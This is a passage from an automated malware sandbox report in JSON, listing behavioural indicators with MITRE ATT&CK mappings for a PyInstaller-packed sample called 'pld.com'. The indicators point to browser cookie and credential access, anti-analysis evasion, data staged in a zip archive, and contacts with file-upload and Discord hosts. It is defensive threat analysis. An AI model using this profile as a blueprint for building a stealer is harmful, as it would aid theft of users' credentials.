Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00001384.00000002.187961.08ED0000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\root\\cimv2; Source: \"00000000-00001384-00002713-1844673989\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"identity_helper.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at F7150000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"pld.com\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00001384-00000C2B-1893690064\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001384-00000C2B-1841988465\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00001384-00000C2B-1841988465\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00001384-00000C2B-1843644613\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00001384-00000C2B-1842685007\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; Source: \"00000000-00001384-00000C2B-1842808995\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"file/memory contains long string with (Indicator: \"moz_cookies\"; File: \"tmpf37esmey.sqlite\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStrings() - Expand the env strings in a REG_EXPAND_SZ\" in \"00000000-00001384.00000000.184119.07470000.00000004.mdmp, 00000000-00001384.00000001.186039.07470000.00000004.mdmp, 00000000-00001384.00000002.187961.07470000.00000004.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStrings\" in \"00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve the local machine's name","description":"Found reference to API \"GetComputerObjectNameW\" (Indicator: \"getcomputerobjectname\"; Source: \"00000000-00001384-00000C2B-1843643497\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-743","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"pld.com\" called \"GetTickCount\" with parameters (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"pld.com\" called \"GetForegroundWindow\" (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"pld.com\" called \"EnumWindows\" with parameter \"987627644224\" - (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"run_query(\"SELECT * FROM students\") # OK\" (Indicator: \"select * from \"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found string \"run_query(\"SELECT * FROM \" + literal_string) # OK\" (Indicator: \"select * from \"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found string \"f\"SELECT * FROM students WHERE name = {arbitrary_string}\"\" (Indicator: \"select * from \"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found string \"for row in cu.execute(\"select * from lang\"):\" (Indicator: \"select * from \"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"pld.com\" issued a query \"SELECT Version,ProductType,BuildType,ServicePackMajorVersion,ServicePackMinorVersion FROM Win32_OperatingSystem\"\n \"pld.com\" issued a query \"SELECT Manufacturer,Caption FROM Win32_Processor\"\n \"pld.com\" issued a query \"SELECT Architecture FROM Win32_Processor\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"pld.com\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"pld.com\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Queries list of installed browsers","description":"$30","origin":"Registry Access","mitre_attack_id":"T1005","relevance":1,"id":"registry-137","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\")\n \"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"USESHORTNAME\")\n \"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\\SUPPORTEDPROTOCOLS\")\n \"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"APPENDPATH\")\n \"pld.com\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MSEDGE.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"SELECT Architecture FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001384-00002714-1847942591\")\n Found string \"SELECT Manufacturer,Caption FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001384-00002714-1899304505\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"SK_59376371006.zip\" copied on \"%TEMP%\\SK_59376371006.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$31","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"pld.com\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"edge.microsoft.com\"\n \"c.bing.com\"\n \"www.google.com\"\n \"ipwhois.app\"\n \"upload.gofile.io\"\n \"discord.com\"\n \"static.cloudflareinsights.com\"\n \"ep1.adtrafficquality.google\"\n \"ep2.adtrafficquality.google\"\n \"edgeassetservice.azureedge.net\"\n \"www.googleapis.com\"\n \"edge-consumer-static.azureedge.net\"\n \"clients2.googleusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$32","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFile\" (Indicator: \"CreateFile\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")\n Found reference to API \"CreateFileMapping\" (Indicator: \"CreateFile\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$33","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$35","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$37","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"mal@lemburg.com\"\n Pattern match: \"info@egenix.com\"\n Pattern match: \"ping@lfw.org\"\n Pattern match: \"yselivanov@sprymix.com\"\n Pattern match: \"nadeem.vawda@gmail.com\"\n Pattern match: \"ks_in@devanagari.utf\"\n Pattern match: \"sd_in@devanagari.utf\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$38","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"pld.com\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at F3870000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$39","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"clients2.googleusercontent.com\"\n \"discord.com\"\n \"edge-consumer-static.azureedge.net\"\n \"edgeassetservice.azureedge.net\"\n \"ep1.adtrafficquality.google\"\n \"ep2.adtrafficquality.google\"\n \"googleads.g.doubleclick.net\"\n \"ipwhois.app\"\n \"pagead2.googlesyndication.com\"\n \"pdfhost.io\"\n \"static.cloudflareinsights.com\"\n \"upload.gofile.io\"\n \"www.google.com\"\n \"www.googleapis.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00001384-00000C2A-1844103863]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$3a","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LibraryLoader.LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.F7B51000.00000002.mdmp\")\n Found reference to API \"Using cdll.LoadLibrary():\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"pld.com\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"identity_helper.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"mfc140u.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections\"- Location: [%TEMP%\\_MEI74202\\Pythonwin\\mfc140u.dll]- [targetUID: 00000000-00007420]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"PyInstaller file activity detected","description":"\"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_ARC4.pyd\"\n \"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_Salsa20.pyd\"\n \"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_chacha20.pyd\"\n \"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_pkcs1_decode.pyd\"\n \"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_raw_aes.pyd\"\n \"pld.com\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI74202\\Cryptodome\\Cipher\\_raw_aesni.pyd\"","origin":"API Call","mitre_attack_id":"T1059.006","relevance":1,"id":"api-211","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"pld.com\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"pld.com\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"pld.com\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"pld.com\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\gen_py\\3.12\\dicts.dat\"\n \"pld.com\" writes a file \"%TEMP%\\gen_py\\3.12\\dicts.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00001384-00000C2B-1843643691\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"file/memory contains long string with (Indicator: \"\"ping\"; File: \"PCAP\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001384.00000000.184119.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.09B80000.00000004.mdmp, 00000000-00001384.00000001.186039.19CD0000.00000004.mdmp, 00000000-00001384.00000002.187961.09B80000.00000004.mdmp, 00000000-00001384.00000002.187961.19CD0000.00000004.mdmp, 00000000-00001384.00000002.187961.1A245000.00000004.mdmp, 00000000-00001384.00000002.187961.1B010000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt(level, optname, value[, optlen]) -- set socket options\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found reference to API \"the setsockopt() and getsockopt() methods.\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found reference to API \"setsockoptr\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"Successful WSAStartup not yet performed.\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"Successful WSAStartup not yet performed.\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt(level, optname, value[, optlen]) -- set socket options\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.F76E9000.00000002.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found reference to API \"the setsockopt() and getsockopt() methods.\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")\n Found reference to API \"setsockoptr\" (Indicator: \"setsockopt\"; Source: \"00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload 